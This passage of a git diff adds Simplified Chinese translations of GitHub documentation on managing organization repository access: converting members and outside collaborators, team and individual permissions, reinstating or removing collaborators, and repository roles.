reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} {% data reusables.organizations.people_tab_outside_collaborators %} +5. 单击“X 待定协作者”。 + ![“待定协作者”按钮](/assets/images/help/organizations/pending-collaborator-list.png) +6. 在要取消邀请的人员右侧,单击“取消邀请”。 + ![“取消邀请”按钮](/assets/images/help/organizations/cancel-pending-collaborators.png) +7. 单击“取消对待定协作者的邀请”。 + ![确认取消按钮](/assets/images/help/organizations/confirm-cancelation-of-pending-collaborators.png) diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md new file mode 100644 index 0000000000..4aded8cf4e --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md @@ -0,0 +1,65 @@ +--- +title: 将组织成员转换为外部协作者 +intro: 如果组织的某些当前成员只需要访问特定仓库,例如顾问或临时员工,你可以将他们转换为外部协作者。 +permissions: Organization owners can convert an organization member to an outside collaborator. +redirect_from: +- /articles/converting-an-organization-member-to-an-outside-collaborator +- /github/setting-up-and-managing-organizations-and-teams/converting-an-organization-member-to-an-outside-collaborator +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Convert member to collaborator +ms.openlocfilehash: 4b9330559895ec96cb6c842d89dbe4e9a8773685 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "146754596" +--- +## 关于组织成员转换为外部协作者 + +可以将组织的成员转换为外部协作者。 有关外部协作者的详细信息,请参阅“[将外部协作者添加到组织中的存储库](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)”。 + +{% ifversion fpt or ghec %}如果组织由企业所有,则可能会限制将组织成员转换{% elsif ghes or ghae %}转换{% endif %}为外部协作者。 有关详细信息,请参阅“[在企业中实施存储库管理策略]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-{% ifversion fpt or ghec %}outside-{% endif %}collaborators-to-repositories){% ifversion ghec or ghes or ghae %}”。"{% elsif fpt %}"(在 {% data variables.product.prodname_ghe_cloud %} 文档中)。{% endif %} + +{% data reusables.organizations.outside-collaborators-use-seats %} {% data reusables.organizations.outside_collaborator_forks %} + +将组织成员转换为外部协作者后,他们将只能访问其当前团队成员资格允许的仓库。 他们将不再是组织的正式成员,不再能够: + +- 创建团队 +- 查看所有组织成员和团队 +- @mention 任何可见团队 +- 成为团队维护员 + +有关详细信息,请参阅“[组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)”。 + +建议查看组织成员对仓库的访问权限,以确保其访问权限符合您的预期。 有关详细信息,请参阅[管理个人对组织存储库的访问](/articles/managing-an-individual-s-access-to-an-organization-repository)。 + +将组织成员转换为外部协作者时,他们作为组织成员的权限将保存三个月,因此,如果你在该时间范围内{% ifversion fpt or ghec %} 邀请他们重新加入{% else %} 将他们重新添加到{% endif %} 你的组织,你可以恢复其成员权限。 有关详细信息,请参阅“[恢复组织的前成员](/articles/reinstating-a-former-member-of-your-organization)”。 + +## 将组织成员转换为外部协作者 + +{% note %} + +注意:如果组织所有者{% ifversion not fpt %} 或企业所有者{% endif %} 限制了你添加外部协作者的能力,你可能无法将组织成员转换为外部协作者。 + +{% endnote %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} +4. 选择要转换为外部协作者的人员。 + ![选中两名成员的成员列表](/assets/images/help/teams/list-of-members-selected-bulk.png) +5. 在成员列表的上方,使用下拉菜单并单击“转换为外部协作者”。 + ![含有将成员转换为外部协作者选项的下拉菜单](/assets/images/help/teams/user-bulk-management-options.png) +6. 阅读有关将成员转换为外部协作者的信息,然后单击“转换为外部协作者”。 + ![有关外部协作者权限的信息和转换为外部协作者按钮](/assets/images/help/teams/confirm-outside-collaborator-bulk.png) + +## 延伸阅读 + +- [将外部协作者添加到组织中的存储库](/articles/adding-outside-collaborators-to-repositories-in-your-organization) +- [从组织存储库中删除外部协作者](/articles/removing-an-outside-collaborator-from-an-organization-repository) +- [将外部协作者转换为组织成员](/articles/converting-an-outside-collaborator-to-an-organization-member) diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md new file mode 100644 index 0000000000..81d2e4078e --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md @@ -0,0 +1,34 @@ +--- +title: 将外部协作者转换为组织成员 +intro: 如果你希望为组织存储库的外部协作者提供更广泛的组织内权限,可以{% ifversion fpt or ghec %}邀请他们成为组织的成员{% else %}让他们成为组织成员{% endif %}。 +redirect_from: +- /articles/converting-an-outside-collaborator-to-an-organization-member +- /github/setting-up-and-managing-organizations-and-teams/converting-an-outside-collaborator-to-an-organization-member +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +permissions: Organization owners can {% ifversion fpt or ghec %}invite users to join{% else %}add users to{% endif %} an organization. +topics: +- Organizations +- Teams +shortTitle: Convert collaborator to member +ms.openlocfilehash: bac55802407b46344c807798e4d8eade5f608e01 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145127480" +--- +{% ifversion fpt or ghec %}如果组织采用付费的每用户订阅,则必须有未使用的许可证才可邀请新成员加入组织或恢复前组织成员。 有关详细信息,请参阅“[关于每用户定价](/articles/about-per-user-pricing)”。 {% data reusables.organizations.org-invite-expiration %}{% endif %} + +{% ifversion not ghae %}如果组织[需要成员使用双因素身份验证](/articles/requiring-two-factor-authentication-in-your-organization),则{% ifversion fpt or ghec %}你邀请的用户必须[启用双因素身份验证](/articles/securing-your-account-with-two-factor-authentication-2fa),然后才可接受邀请。{% else %}用户必须[启用双因素身份验证](/articles/securing-your-account-with-two-factor-authentication-2fa),然后才可将用户添加到组织。{% endif %} {% endif %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} {% data reusables.organizations.people_tab_outside_collaborators %} {% ifversion fpt or ghec %} +5. 在要添加为成员的外部协作者姓名的右侧,使用 {% octicon "gear" aria-label="The gear icon" %} 下拉菜单,然后单击“邀请加入组织”。![邀请外部协作者加入组织](/assets/images/help/organizations/invite_outside_collaborator_to_organization.png){% else %} +5. 在要添加为成员的外部协作者姓名的右侧,单击“邀请加入组织”。![邀请外部协作者加入组织](/assets/images/enterprise/orgs-and-teams/invite_outside_collabs_to_org.png){% endif %} {% data reusables.organizations.choose-to-restore-privileges %} {% data reusables.organizations.choose-user-role-send-invitation %} {% ifversion fpt or ghec %} {% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %} {% endif %} + +## 延伸阅读 + +- [将组织成员转换为外部协作者](/articles/converting-an-organization-member-to-an-outside-collaborator) diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/index.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/index.md new file mode 100644 index 0000000000..752d885444 --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/index.md @@ -0,0 +1,36 @@ +--- +title: 管理对组织存储库的访问权限 +intro: 组织所有者可以管理个人和团队对组织仓库的访问。 团队维护员也可以管理团队的仓库访问权限。 +redirect_from: +- /articles/permission-levels-for-an-organization-repository +- /articles/managing-access-to-your-organization-s-repositories +- /articles/managing-access-to-your-organizations-repositories +- /github/setting-up-and-managing-organizations-and-teams/managing-access-to-your-organizations-repositories +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Organizations +- Teams +children: +- /repository-roles-for-an-organization +- /setting-base-permissions-for-an-organization +- /viewing-people-with-access-to-your-repository +- /managing-an-individuals-access-to-an-organization-repository +- /managing-team-access-to-an-organization-repository +- /adding-outside-collaborators-to-repositories-in-your-organization +- /canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization +- /removing-an-outside-collaborator-from-an-organization-repository +- /converting-an-organization-member-to-an-outside-collaborator +- /converting-an-outside-collaborator-to-an-organization-member +- /reinstating-a-former-outside-collaborators-access-to-your-organization +shortTitle: Manage access to repositories +ms.openlocfilehash: e6789a7d8f2379f7aa2a6193d21ecdd385f69bab +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145127479" +--- diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md new file mode 100644 index 0000000000..c6e3e711ba --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md @@ -0,0 +1,57 @@ +--- +title: 管理个人对组织仓库的访问 +intro: 您可以管理个人对组织拥有的仓库的访问。 +redirect_from: +- /articles/managing-an-individual-s-access-to-an-organization-repository-early-access-program +- /articles/managing-an-individual-s-access-to-an-organization-repository +- /articles/managing-an-individuals-access-to-an-organization-repository +- /github/setting-up-and-managing-organizations-and-teams/managing-an-individuals-access-to-an-organization-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Manage individual access +permissions: People with admin access to a repository can manage access to the repository. +ms.openlocfilehash: 90a9df66f0cd4089634b2d29dd798b37629bbb7b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145127478" +--- +## 关于对组织仓库的访问 + +从组织中的仓库删除协作者时,该协作者会失去对仓库的读写权限。 如果仓库是私有的,并且协作者对仓库进行了复刻,则其复刻也会被检测到,但协作者仍然保留仓库的任何本地克隆副本。 + +{% data reusables.repositories.deleted_forks_from_private_repositories_warning %} + +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5974 %} +## 管理个人对组织仓库的访问 +您可以在仓库设置中授予个人对仓库的访问权限,或更改个人对仓库的访问权限级别。 有关详细信息,请参阅“[管理有权访问存储库的团队和人员](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)”。 +{% else %} +## 授予用户对仓库的访问权限 + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-manage-access %} {% data reusables.organizations.invite-teams-or-people %} +1. 在搜索字段中,开始输入要邀请的人员的名称,然后单击匹配列表中的名称。 + ![用于输入要邀请加入存储库的团队或人员名称的搜索字段](/assets/images/help/repository/manage-access-invite-search-field.png) +6. 在“选择角色”下,选择要分配给此人的存储库角色,然后单击“将姓名添加到存储库”。 + ![为团队或人员选择权限](/assets/images/help/repository/manage-access-invite-choose-role-add.png) + +## 管理个人对组织仓库的访问 + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} +4. 单击“成员”或“外部协作者”以管理具有不同访问权限类型的人员 。 ![邀请成员或外部协作者加入组织的按钮](/assets/images/help/organizations/select-outside-collaborators.png) +5. 在要管理的人员名称右侧,使用 {% octicon "gear" aria-label="The Settings gear" %} 下拉菜单,然后单击“管理”。 + ![管理访问链接](/assets/images/help/organizations/member-manage-access.png) +6. 在“管理访问权限”页面上的存储库旁边,单击“管理访问权限”。 +![“管理访问权限”按钮](/assets/images/help/organizations/repository-manage-access.png) +7. 检查个人对指定仓库的访问权限,例如他们是协作者还是通过团队成员资格来访问仓库。 +![用户的存储库访问权限矩阵](/assets/images/help/organizations/repository-access-matrix-for-user.png) {% endif %} +## 延伸阅读 + +{% ifversion fpt or ghec %}-“[限制与存储库的交互](/articles/limiting-interactions-with-your-repository)”{% endif %} +- [组织的存储库角色](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md new file mode 100644 index 0000000000..c52e28c607 --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md @@ -0,0 +1,66 @@ +--- +title: 管理团队对组织仓库的访问 +intro: 您可以向团队授予仓库访问权限,删除团队的仓库访问权限,或者更改团队对仓库的权限级别。 +redirect_from: +- /articles/managing-team-access-to-an-organization-repository-early-access-program +- /articles/managing-team-access-to-an-organization-repository +- /github/setting-up-and-managing-organizations-and-teams/managing-team-access-to-an-organization-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Manage team access +ms.openlocfilehash: 34f912f4d5c55df30629b7b56200bef25281bf2d +ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147876046" +--- +对仓库具有管理员权限的人员可以管理团队对仓库的访问权限。 如果团队能够直接访问存储库,团队维护员可以更改其对存储库的访问权限。 如果团队对存储库的访问权限继承自父团队,维护员可以选择重置当前权限以匹配父团队的权限。 + +{% warning %} + +警告: +- 如果团队能够直接访问仓库,您可以更改其权限级别。 如果团队对仓库的访问权限继承自父团队,则您必须更改团队对仓库的访问权限。 +- 如果您添加或删除父团队的仓库访问权限,则其每个子团队也会获得或失去相应的仓库访问权限。 有关详细信息,请参阅“[关于团队](/articles/about-teams)”。 + +{% endwarning %} + +## 授予团队对仓库的访问权限 + +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5974 %} 可在存储库设置中授予团队对存储库的访问权限,或更改团队对存储库的访问权限级别。 有关详细信息,请参阅“[管理有权访问存储库的团队和人员](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#inviting-a-team-or-person)”。 {% else %} {% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team-repositories-tab %} +5. 在存储库列表上方,单击“添加存储库”。 + ![“添加存储库”按钮](/assets/images/help/organizations/add-repositories-button.png) +6. 输入存储库的名称,然后单击“将存储库添加到团队”。 + ![存储库搜索字段](/assets/images/help/organizations/team-repositories-add.png) +7. 也可选择在仓库名称右侧使用下拉菜单,为团队选择不同的权限级别。 + ![存储库访问级别下拉菜单](/assets/images/help/organizations/team-repositories-change-permission-level.png) {% endif %} +## 删除团队对仓库的访问权限 + +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5974 %} 可在存储库设置中删除团队对组织存储库的访问权限。 有关详细信息,请参阅“[管理有权访问存储库的团队和人员](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#removing-access-for-a-team-or-person)”。 + +如果团队可以直接访问仓库,您可以删除该团队对仓库的访问。 如果团队对仓库的访问权限继承自父团队,则必须删除父团队对仓库的访问权限才可删除其子团队的相应权限。 + +{% data reusables.repositories.deleted_forks_from_private_repositories_warning %} + +{% else %} + +如果团队能够直接访问仓库,您可以更改其对仓库的访问权限。 如果团队对仓库的访问权限继承自父团队,则必须删除父团队对仓库的访问权限才可删除其子团队的相应权限。 + +{% data reusables.repositories.deleted_forks_from_private_repositories_warning %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team-repositories-tab %} +5. 选择要从团队删除的仓库。 + ![团队存储库列表,其中选中了某些存储库的复选框](/assets/images/help/teams/select-team-repositories-bulk.png) +6. 在存储库列表上方,使用下拉菜单,然后单击“从团队删除”。 + ![包含用于从团队删除存储库的选项的下拉菜单](/assets/images/help/teams/remove-team-repo-dropdown.png) +7. 检查要从团队删除的存储库,然后单击“删除存储库”。 + ![包含团队无法再访问的存储库列表的模态框](/assets/images/help/teams/confirm-remove-team-repos.png) {% endif %} +## 延伸阅读 + +- [组织的存储库角色](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md new file mode 100644 index 0000000000..66a93296fd --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md @@ -0,0 +1,74 @@ +--- +title: 恢复前外部协作者对组织的访问权限 +intro: 您可以恢复前外部协作者对组织仓库、复刻和设置的访问权限。 +redirect_from: +- /articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization +- /articles/reinstating-a-former-outside-collaborators-access-to-your-organization +- /github/setting-up-and-managing-organizations-and-teams/reinstating-a-former-outside-collaborators-access-to-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Reinstate collaborator +ms.openlocfilehash: 88d986f922f1a66d652dba55f10142f7e493ffa2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146178901" +--- +当外部协作者对组织私有仓库的权限被删除时,该用户的访问权限和设置将保存三个月。 如果您在该时间范围内将用户{% ifversion fpt or ghec %}邀请{% else %}添加{% endif %}回组织,则可以恢复该用户的权限。 + +{% data reusables.two_fa.send-invite-to-reinstate-user-before-2fa-is-enabled %} + +恢复前外部协作者时,您可以恢复以下各项: + - 用户对组织仓库以前的访问权限 + - 组织拥有的仓库的任何私有复刻 + - 组织团队的成员身份 + - 组织仓库以前的访问权限和权限 + - 组织仓库的星标 + - 组织中的议题分配 + - 仓库订阅(关注、不关注或忽略仓库活动的通知设置) + +{% tip %} + +**提示**: + + - 只有组织所有者才能恢复外部协作者对组织的访问权限。{% ifversion prevent-org-admin-add-outside-collaborator %} 企业所有者可能会进一步限制恢复外部协作者对企业所有者的访问权限的能力。{% endif %} 有关详细信息,请参阅“[组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)”。 + - 在 {% data variables.product.product_location %} 上恢复成员流时,可能会使用术语“成员”来描述恢复外部协作者,但如果恢复此人并保留其以前的特权,则他们将仅拥有以前的[外部协作者权限](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)。{% ifversion fpt or ghec %} + - 如果您的组织采用付费的每用户订阅,则必须有未使用的许可才可邀请新成员加入组织或恢复前组织成员。 有关详细信息,请参阅“[关于每用户定价](/articles/about-per-user-pricing)”。{% endif %} + +{% endtip %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} {% data reusables.organizations.invite_member_from_people_tab %} {% data reusables.organizations.reinstate-user-type-username %} {% ifversion fpt or ghec %} +1. 通过单击“邀请并恢复”选择恢复外部协作者以前在组织中的权限,或通过单击“邀请并重新开始”选择清除他们以前的权限并设置新的访问权限 。 + + {% warning %} + + 警告:如果要将外部协作者升级为组织的成员,请选择“邀请并重新开始”,并为此人选择一个新角色 。 但是,请注意,如果您选择重新开始,则此人员组织仓库的私人复刻将会丢失。 若要使前外部协作者成为组织的成员并保留其专用分支,请选择“邀请并恢复”。 在此人接受邀请后,可以通过[邀请他们以成员身份加入组织](/articles/converting-an-outside-collaborator-to-an-organization-member),将他们转变为组织成员。 + + {% endwarning %} + + ![选择是否恢复设置](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png) {% else %} +6. 通过单击“添加并恢复”选择恢复外部协作者以前在组织中的权限,或通过单击“添加并重新开始”选择清除他们以前的权限并设置新的访问权限 。 + + {% warning %} + + 警告:如果要将外部协作者升级为组织的成员,请选择“添加并重新开始”,并为此人选择一个新角色 。 但是,请注意,如果您选择重新开始,则此人员组织仓库的私人复刻将会丢失。 若要使前外部协作者成为组织的成员并保留其专用分支,请选择“添加并恢复”。 然后,可以通过[将其作为成员添加到组织](/articles/converting-an-outside-collaborator-to-an-organization-member)来将其转变为组织成员。 + + {% endwarning %} + + ![选择是否还原设置](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png) {% endif %} {% ifversion fpt or ghec %} +7. 如果清除了前外部协作者以前的权限,请为该用户选择一个角色,并(可选)将其添加到某些团队,然后单击“发送邀请”。 + ![角色和团队选项及“发送邀请”按钮](/assets/images/help/organizations/add-role-send-invitation.png) {% else %} +7. 如果清除了前外部协作者以前的权限,请为该用户选择一个角色,并(可选)将其添加到某些团队,然后单击“添加成员”。 + ![角色和团队选项及“添加成员”按钮](/assets/images/help/organizations/add-role-add-member.png) {% endif %} {% ifversion fpt or ghec %} +8. 被邀请的人员将收到邀请其加入组织的电子邮件。 它们需要接受邀请,然后才能成为组织中的外部协作者。 {% data reusables.organizations.cancel_org_invite %} {% endif %} + +## 深入阅读 + +- “[组织的存储库角色](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)” diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository.md new file mode 100644 index 0000000000..7f2e3d5b6f --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository.md @@ -0,0 +1,67 @@ +--- +title: 从组织仓库中删除外部协作者 +intro: 所有者和仓库管理员可以删除外部协作者对仓库的访问权限。 +redirect_from: +- /articles/removing-an-outside-collaborator-from-an-organization-repository +- /github/setting-up-and-managing-organizations-and-teams/removing-an-outside-collaborator-from-an-organization-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Remove collaborator +ms.openlocfilehash: 71c8017b79425570e4ee7c2d2c7d3ac695c5c531 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145127466" +--- +{% ifversion fpt or ghec %} + +{% warning %} + +**警告:** +- 从私有仓库删除外部协作者后,付费许可数不会自动降级。 要在从组织中删除用户后减少付费的许可证数,请按照“[降级组织的付费席位](/articles/downgrading-your-organization-s-paid-seats)”中的步骤操作。 + +- 您负责确保无法访问仓库的人员删除任何机密信息或知识产权。 + +{% endwarning %} + +{% endif %} + +尽管删除协作者时将删除私有仓库的复刻,但此人员将仍保留您仓库的任何本地克隆。 + +## 从组织中的所有仓库删除外部协作者 + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} {% data reusables.organizations.people_tab_outside_collaborators %} +5. 选择您想要从组织中删除的一个或多个外部协作者。 +![外部协作者列表,其中已选择两个外部协作者](/assets/images/help/teams/list-of-outside-collaborators-selected-bulk.png) +6. 在外部协作者列表上方,使用下拉菜单,然后单击“从所有存储库中删除”。 +![包含删除外部协作者选项的下拉菜单](/assets/images/help/teams/user-bulk-management-options-for-outside-collaborators.png) +7. 查看将从组织中删除的一个或多个外部协作者,然后单击“删除外部协作者”。 + ![将删除的外部协作者的列表和“删除外部协作者”按钮](/assets/images/help/teams/confirm-remove-outside-collaborators-bulk.png) + +## 从组织的特定仓库中删除外部协作者 + +如果只是想要从组织的特定仓库中删除外部协作者,则可以一次删除此人员对一个特定仓库的访问权限。 + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} {% data reusables.organizations.people_tab_outside_collaborators %} +5. 在想要删除的人员用户名右侧,使用 {% octicon "gear" aria-label="The Settings gear" %} 下拉菜单,并单击“管理”。 + ![“管理访问权限”按钮](/assets/images/help/organizations/member-manage-access.png) +6. 在想要从中删除外部协作者的存储库的右侧,单击“管理访问权限”。 +![选择外部协作者具有访问权限的存储库旁边的“管理访问权限”按钮](/assets/images/help/organizations/second-manage-access-selection-for-collaborator.png) +7. 若要完全删除外部协作者对存储库的访问权限,请在右上角单击“删除对此存储库的访问权限”。 +![“删除对此存储库的访问权限”按钮](/assets/images/help/organizations/remove-access-to-this-repository.png) +8. 若要确认,请单击“删除访问权限”。 +![确认将从存储库中删除的外部协作者](/assets/images/help/teams/confirm-remove-outside-collaborator-from-a-repository.png) + +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5974 %} 还可以在存储库设置的访问概述中从存储库中删除外部协作者。 有关详细信息,请参阅“[管理有权访问存储库的团队和人员](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#removing-access-for-a-team-or-person)”。 +{% endif %} +## 延伸阅读 + +- [将外部协作者添加到组织中的存储库](/articles/adding-outside-collaborators-to-repositories-in-your-organization) +- [将组织成员转换为外部协作者](/articles/converting-an-organization-member-to-an-outside-collaborator) diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md new file mode 100644 index 0000000000..4cefe45ec3 --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md @@ -0,0 +1,174 @@ +--- +title: 组织的存储库角色 +intro: 您可以通过细化角色自定义组织中每个仓库的权限,从而为每个用户提供所需的功能和任务权限。 +miniTocMaxHeadingLevel: 3 +redirect_from: +- /articles/repository-permission-levels-for-an-organization-early-access-program +- /articles/repository-permission-levels-for-an-organization +- /github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization +- /organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Repository roles +ms.openlocfilehash: dbb5075dfc57e01e0658138b65d6231fb12f1071 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147526700" +--- +## 组织的存储库角色 + +您可以通过分配角色,为组织成员、外部协作者和人员团队提供对组织仓库不同级别的权限。 选择最适合每个人或团队在项目中的职能的角色,而不是提供超过其需求的项目权限。 + +组织存储库的角色从低到高的权限级别分别为: +- **读取**:建议提供给要查看或讨论项目的非代码参与者 +- **会审**:建议提供给需要主动管理问题和拉取请求,但没有写入权限的参与者 +- **写入**:建议提供给积极推送内容到项目的参与者 +- **维护**:建议提供给需要管理存储库而又无法访问敏感或破坏性操作的项目经理 +- **管理员**:建议提供给需要对项目具有完全访问权限的人员,包括管理安全性或删除存储库等敏感和破坏性操作 + +{% ifversion fpt %} 如果组织使用 {% data variables.product.prodname_ghe_cloud %},则可以创建自定义存储库角色。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[管理组织的自定义存储库角色](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)”。 +{% elsif ghec or ghes > 3.4 or ghae-issue-6271 %} 可以创建自定义存储库角色。 有关详细信息,请参阅“[管理组织的自定义存储库角色](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)”。 +{% endif %} + +组织所有者可以在访问组织的任何仓库时设置适用于组织所有成员的基本权限。 有关详细信息,请参阅“[为组织设置基本权限](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization#setting-base-permissions)”。 + +组织所有者还可以选择进一步限制对整个组织中某些设置和操作的权限。 有关特定设置的选项的详细信息,请参阅“[管理组织设置](/articles/managing-organization-settings)”。 + +除了管理组织级设置之外,组织所有者对组织拥有的每个存储库都具有管理员权限。 有关详细信息,请参阅“[组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)”。 + +{% warning %} + +警告:当有人向存储库添加部署密钥时,拥有私钥的任何用户都可以读取或写入存储库(具体取决于密钥设置),即使他们后来从组织中删除也是如此。 + +{% endwarning %} + +## 每个角色的权限 + +{% ifversion fpt %} 下面列出的一些功能仅限于使用 {% data variables.product.prodname_ghe_cloud %} 的组织。 {% data reusables.enterprise.link-to-ghec-trial %} {% endif %} + +{% ifversion fpt or ghes or ghec %} {% note %} + +注意:下面的“[安全功能的访问要求](#access-requirements-for-security-features)”中列出了使用安全功能所需的角色。 + +{% endnote %} {% endif %} + +| 仓库操作 | 读取 | 会审 | 写入 | 维护 | 管理员 | +|:---|:---:|:---:|:---:|:---:|:---:| +| 